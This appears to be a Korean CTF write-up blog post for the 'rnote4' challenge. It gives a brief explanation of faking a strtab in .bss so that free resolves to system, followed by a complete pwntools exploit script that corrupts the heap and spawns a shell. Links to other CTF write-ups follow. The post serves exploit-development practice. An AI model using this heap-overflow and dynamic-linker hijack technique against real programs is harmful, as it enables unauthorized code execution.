재미있는 문제! 출력하는 함수도 없고 어떻게 leak을 해야할지 고민했었는데 간단하게 bss에다가 strtab 구조를 만들어주고 strtab의 주소를 bss로 덮으면 끝!
free를 system으로 바꿔서 쉘을 획득했다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 | from pwn import * s = process("./rnote4") elf = ELF("./rnote4") def alloc(size,content): s.send(p8(1)) s.send(p8(size)) s.send(content) def edit(index,size,content): s.send(p8(2)) s.send(p8(index)) s.send(p8(size)) s.send(content) def delete(index): s.send(p8(3)) s.send(p8(index)) def quit(): s.send(p8(4)) strtab_addr = 0x0000000000601EA8 alloc(16,"A"*16) alloc(16,"B"*16) pay = "A"*16 pay += p64(0) pay += p64(0x21) pay += p64(0x10) pay += p64(elf.bss()+0x100) edit(0,len(pay),pay) pay = "B"*0x5f pay += "system" edit(1,len(pay),pay) pay = "A"*16 pay += p64(0) pay += p64(0x21) pay += p64(0x10) pay += p64(strtab_addr) edit(0,len(pay),pay) edit(1,16,p64(0x5)+p64(elf.bss()+0x100)) alloc(7,"/bin/sh") delete(2) s.interactive() | cs |
[CodeBlue_2017] Secret_mailer_service (0) | 2019.12.02 |
---|---|
[CodeBlue_2017] simple_memo_pad (0) | 2019.12.01 |
[SCTF_2018] cowboy (0) | 2019.11.27 |
[BSidesSF_2019] runitplusplus (0) | 2019.11.17 |
[RCTF_2018] stringer (0) | 2019.11.17 |